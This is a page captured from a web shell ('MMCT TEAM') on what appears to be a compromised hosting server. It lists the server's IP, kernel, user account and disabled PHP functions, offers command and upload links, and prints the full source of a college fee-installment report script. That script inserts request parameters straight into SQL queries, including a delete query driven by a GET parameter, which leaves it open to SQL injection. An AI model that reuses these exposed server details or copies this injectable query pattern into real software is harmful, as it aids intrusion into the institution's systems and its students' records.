MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/ecampus.ncriptech.com/../websites/vtti.e-campus.co.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/ecampus.ncriptech.com/../websites/vtti.e-campus.co.in/setinstallmentreports.php
<?php
include ("include/makeSession.php"); 
$installment_id=mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'");
	  $installment_id=mysqli_fetch_array($installment_id); 
$installment_id=$installment_id['menuper'];
	  $menuper=explode(',',$installment_id);
	   
	   if(in_array('Manage Fee',$menuper)){
		  
	   }else{
		 
	header("location:index.php");
		   
		}
$_SESSION['page_name']="Fee";
include('include/function.php');
include("include/header.php");
include("include/sidebar.php");
if(isset($_REQUEST['did']) && $_REQUEST['did']!=''){
	$dovalue="";
	$doid=$_REQUEST['did'];
	
	$check=mysqli_query($con,"delete from setinstallment where id='$doid'");
	
	if($check){
	$_SESSION['msg']='Record Deleted Successfully';
	}
	echo '<META HTTP-EQUIV="Refresh" Content="0; URL=setinstallmentreports.php">';
	exit;
}
?>

		<script src="plugins/jQuery/jQuery-2.1.4.min.js"  type="text/javascript"></script>
	
<div class="content-wrapper">
  <section class="content-header">
    <h1> Installment Reports</h1>
    <ol class="breadcrumb">
      <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
      <li><a href="#">Installment Reports</a></li>
    </ol>
  </section>
  <!-- Main content -->
  <section class="content">
    <div class="row">
      <div class="col-xs-12">
        <div class="box">
          <div class="box-header">
            
          </div><!-- /.box-header -->
          <div class="box-body" style="overflow-x: scroll;">
		 <!-- <form action="" method="get" id="tables">
		  	<select class='form-control col-md-3' id="tablechange" name="table"  style="width: 24%;" >
				<option value="0" <?php  //if($_GET['table']==0){ echo "selected";}?>> Admission Enquiry Form </option>
				<option value="1" <?php  //if($_GET['table']==1){ echo "selected";}?>>Direct Admission  </option>
			</select>
			<input type="submit" value="Search" class="btn btn-primary"/>
		</form>  -->
		    <form action="" method="get">
                 
		  		<select name="course" id="coursealert" class="form-control subject" style="width:200px;margin-left:200px;float:left;" required>
                      <option value=''>-select-</option>
                      <?php 
                      
                      $CasteQuery=mysqli_query($con,"select * from course");
	  				  while($CasteRow=mysqli_fetch_array($CasteQuery)){ 
                      echo '<option value="'.$CasteRow['id'].'" '.($_REQUEST['course'] == $CasteRow['id'] ? 'selected="selected"' : '' ).' >'.$CasteRow['c_name'].'</option>';
					   } ?>                  
                  </select>   
                   <select name="academicyear" id="academicyear" style="width:200px;margin-left:30px;float:left;" class="form-control subject" required>
                      <option value=''>-select-</option>
                                   
                  </select>
                  <input type="submit" value="Search" name="search" class="btn btn-primary" style="width:100px;margin-left:30px;float:left;"/>
                  </form>
            <table id="example1" class="table table-bordered table-striped">
			  <?php if(!empty($_SESSION['msg'])){
			  $msg=$_SESSION["msg"];
           echo '<div class="col-md-8">
			<div class="alert alert-success alert-dismissible">
  <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
  '.$msg.'
		  </div>'; $_SESSION["msg"]='';} ?>
              <thead>
                <tr>
                  <th>SR NO</th>
				
                  <th>Student ID</th>
			  
                  <th scope="col">Name</th>
                  	<th scope="col">Course</th>
                  <th scope="col">Academic Year</th>

                  <th scope="col">Mobile No</th>
                  <th scope="col">Agreement Recipt</th>
                  <th scope="col">total Installment </th>
                  <th scope="col">Installment Date</th>
                  <th scope="col">Amount</th>
				   <th scope="col">Late Fine</th>
				     
				    <th scope="col">Pay</th>
				      <th scope="col">Paid Amount</th>
				  <?php if(!empty($_SESSION["ecomid"]) && $_SESSION["ecomid"]==1 ){ ?>
				  <th scope="col">Action</th>
				  <?php } ?>
                </tr>
              </thead>
         
              <tbody>

              <?php 
              $totalpaidamount=0;
              $totalallamount=0;
              $totalpaidfine=0;
                if(!empty($_GET['course']) && !empty($_GET['academicyear'])){
                    	  $Query= "select * from admission_enquiry_form
				  left JOIN course as
			  course ON admission_enquiry_form.course=course.id
			  left JOIN commenacademicyear as
			  commenacademicyear ON admission_enquiry_form.academicyear=commenacademicyear.id
			    where course.id='".$_GET['course']."' AND commenacademicyear.id='".$_GET['academicyear']."'
				  ";
                }else{
                   	  $Query= "select * from admission_enquiry_form
				  left JOIN course as
			  course ON admission_enquiry_form.course=course.id
			  left JOIN commenacademicyear as
			  commenacademicyear ON admission_enquiry_form.academicyear=commenacademicyear.id
				  "; 
                }
			 
			
			  
			 
			  
			
		
			$Query= mysqli_query($con,$Query);
			  
			  		$i = 1;
					
	  				  while($Row=mysqli_fetch_array($Query)){ 
					
					  $id=$Row['student_id'];
					    


					   
					$Query2=mysqli_query($con,"select * from setinstallment where studentid='$id'");
			  		
					$num2=mysqli_num_rows($Query2);
					if($num2>0){
					
					  ?>
                    <tr>
					
                      <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelStudentFirstName_0"><?=$i;?></span></td>	  
                       <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelStudentFirstName_0"><?=$Row['student_id'];?></span></td>	
                      <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelStudentFirstName_0"><?=$Row['name'];?></span></td>
                       <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelStudentFirstName_0"><?=$Row['c_name'];?></span></td>
                        <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelStudentFirstName_0"><?=$Row['academictitle'];?></span></td>
                      <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelMobile_0"><?=$Row['mobileno'];?></span></td>
                        <td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelMobile_0">
                             <a href='./agreement_installment_fee_recipt.php?upid=<?php echo $Row["student_id"]; ?>'><i class='fa fa-eye'></i></a></span></td>
					 <td>
					<?php 
					$id=$Row['student_id'];
					$j=1;
					$Query1=mysqli_query($con,"select * from setinstallment where studentid='$id' ");
			  		
					$num=mysqli_num_rows($Query1);
					
	  				  while($Row1=mysqli_fetch_array($Query1)){ ?>
                     
					  <?php  if($j==$num){
                         ?>
					  <span id="ContentPlaceHolder1_GridViewEnquiry_LabelLastQualification_0"><?=$Row1['numberofinstallment'];?></span><br/>
					  <?php } ?>
					
					    <?php $j++;} ?> 
                        </td>
                        <td>
					<?php 
					
					
					$j=1;
					$Query1=mysqli_query($con,"select * from setinstallment where studentid='$id' order by id asc ");
			  		
					$num=mysqli_num_rows($Query1);
	  				  while($Row1=mysqli_fetch_array($Query1)){ ?>
                     
					  <?php  if($j<=$num){
                         ?>
					  <span id="ContentPlaceHolder1_GridViewEnquiry_LabelLastQualification_0"><?=$Row1['installmentdate'];?></span><br/>
					  <?php } ?>
					
					    <?php $j++;} ?> 
                        </td>
						
						  <td>
					<?php 
					
					
					$j=1;
					$Query1=mysqli_query($con,"select * from setinstallment where studentid='$id' order by id asc");
			  		
					$num=mysqli_num_rows($Query1);
	  				  while($Row1=mysqli_fetch_array($Query1)){ ?>
                     
					  <?php  if($j<=$num){
                         ?>
					  <span id="ContentPlaceHolder1_GridViewEnquiry_LabelLastQualification_0"><?=$Row1['amount'];?></span><br/>
					  <?php } ?>
					
					  <?php $j++;} ?> 
                        </td>
				    <td>
					<?php 
					
					
					$j=1;
					$Query1=mysqli_query($con,"select * from setinstallment where studentid='$id' order by id asc");
			  		
					$num=mysqli_num_rows($Query1);
	  				  while($Row1=mysqli_fetch_array($Query1)){ ?>
                     
					  <?php  if($j<=$num){
                         ?>
					  <span id="ContentPlaceHolder1_GridViewEnquiry_LabelLastQualification_0"><?=$Row1['latefine'];?></span><br/>
					  <?php } ?>
					
					    <?php $j++;} ?> 
                        </td>
				   <td>
					<?php 
					$j=1;
					$Query1=mysqli_query($con,"select * from setinstallment where studentid='$id' order by id asc ");
			  		$num=mysqli_num_rows($Query1);
	  				  while($Row1=mysqli_fetch_array($Query1)){
						  ?>
                     
					  <?php  if($j<=$num){
						  
						  
						  $Query2=mysqli_query($con,"select * from payinstallment where installment_id='".$Row1["id"]."'  order by id asc");
			  		
				
					$num2=mysqli_num_rows($Query2);
	  				  $Row2=mysqli_fetch_array($Query2);
						  if($num2>0){
							  
                         ?>
<a href="#"><i class="fa fa-paypal text-green"></i></a> || 
<a href="./paymentdetails.php?upid=<?php echo $Row2["id"]; ?>" ><i class="fa fa-eye" aria-hidden="true"></i>
</a><br/>		
			  <?php }else{ ?>
					  
			<a href="./paysetinstallment.php?upid=<?php echo $Row1["id"]; ?>"><i class="fa fa-paypal text-red"></i></a><br/>		  
					  <?php } $j++;} }?> 
                        
						
						
						</td>
						
						  <td>
					<?php 
					$j=1;
					$Query1=mysqli_query($con,"select * from setinstallment where studentid='$id' order by id asc ");
			  		$num=mysqli_num_rows($Query1);
	  				  while($Row1=mysqli_fetch_array($Query1)){
						  ?>
                     
					  <?php  if($j<=$num){
						  
						  
						  $Query2=mysqli_query($con,"select * from payinstallment where installment_id='".$Row1["id"]."'  order by installment_id asc");
			  		
				
					$num2=mysqli_num_rows($Query2);
	  				  $Row2=mysqli_fetch_array($Query2);
						  if($num2>0){
							  echo $Row2['payment_amount'];
							  $totalpaidamount =$totalpaidamount+$Row2['payment_amount'];
							  $totalpaidfine +=$Row2['fine'];
							  $totalallamount +=$Row1['amount'];
							  $idlast=$Row1['id'];
                         ?>
<br/>		
			  <?php }else{ 
			  if($idlast+1==$Row1['id']){
			     echo 'Next Pay :<br>';
			 echo  $totalallamount+$totalpaidfine+
			 $Row1['amount']+$Row1['latefine']-$totalpaidamount;
			  }
			  ?>
					  
				  
					  <?php } $j++;}
					  
					  
					  }
					  
					    $totalpaidamount=0;
              $totalallamount=0;
              $totalpaidfine=0;
					  ?> 
                        
						
						
						</td>
						  <?php if(!empty($_SESSION["ecomid"]) && $_SESSION["ecomid"]==1){ ?>
						  <td>
					<?php 
					
				
					$j=1;
					$Query1=mysqli_query($con,"select * from setinstallment where studentid='$id' order by id asc");
			  		
					$num=mysqli_num_rows($Query1);
	  				  while($Row1=mysqli_fetch_array($Query1)){ ?>
                     
					  <?php  if($j<=$num){
                         ?>
<a href="./editsetinstallment.php?upid=<?php echo $Row1["id"]; ?>"><i class="fa fa-pencil text-yellow"></i></a>&nbsp;&nbsp;<br/>					  <?php } ?>
					
					    <?php $j++;} ?> 
                        </td>
											
					  
					  <?php }?>
                    </tr>                
					<?php }$i++;} ?>                    
              </tbody>
            </table>
          </div><!-- /.box-body -->
        </div><!-- /.box -->
      </div><!-- /.col -->
    </div><!-- /.row -->
  </section><!-- /.content -->
</div><!-- /.content-wrapper -->
<!-- footer start -->
<?php
include('include/footer.php');
?>
<!-- footer end -->
<!-- DataTables -->
<script src="plugins/datatables/jquery.dataTables.min.js"  type="text/javascript"></script>
<script src="plugins/datatables/dataTables.bootstrap.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/dataTables.buttons.min.js"  type="text/javascript"></script>

<script src="bootstrap/js/jszip.min.js"  type="text/javascript"></script>

<script src="bootstrap/js/pdfmake.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/vfs_fonts.js"  type="text/javascript"></script>
<script src="bootstrap/js/buttons.html5.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/buttons.print.min.js"  type="text/javascript"></script>

<script src="bootstrap/js/buttons.colVis.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/buttons.flash.min.js"  type="text/javascript"></script>

<script  type="text/javascript">
$(document).ready(function() {
    $('#example1').DataTable( {
        dom: 'Bfrtip',
        columnDefs: [
            {
                targets: 1,
                className: 'noVis'
            }
        ],
        buttons: [
            {
                extend: 'colvis',
                columns: ':not(.noVis)'
            }
        ],
		 buttons: [
		  { extend: 'colvis', text: 'COLOUMNS' },
		 { extend: 'csv', text: 'Export to CSV' },
		 { extend: 'excel', text: 'Export to Excel' },
           { extend: 'pdfHtml5', text: 'Create PDF', orientation: 'landscape', exportOptions: { columns: ':visible' } },
{ extend: 'print', text: 'Print', exportOptions:{columns: ':visible',autoPrint: true}}
        ],
		
    } );
    
     var htmls='';
    	var course=$('#coursealert :selected').val();	 

	 $.ajax({  
            type: "POST",  
            url: "getacademicyear.php",  
            data: {'course': course,'type':'load'}, 
            dataType: "json",			
            success: function(dataString) {  
          
		 
              
				 $.each(dataString, function(key,valv) {
                    htmls+= "<option value='"+ valv.id +"'>" + valv.academictitle + "</option>";
                   });
				   $('#academicyear').append(htmls);
            }  
        });  
} );
	//$(function () {
	//$("#example1").DataTable();
	
	//});
</script>
	<script>
	$('#coursealert').on('change',function(){
		
	 var htmls='';
	 $('#academicyear').html('');
	var course=$('#coursealert :selected').val();	
	 $.ajax({  
            type: "POST",  
            url: "getacademicyear.php",  
            data: {'course': course}, 
            dataType: "json",			
            success: function(dataString) {  
          
		  
              
				 $.each(dataString, function(key,valv) {
                    htmls+= "<option value='"+ valv.id +"'>" + valv.academictitle + "</option>";
                   });
				   $('#academicyear').append(htmls);
            }  
        });  
	});
	</script>

MMCT - 2023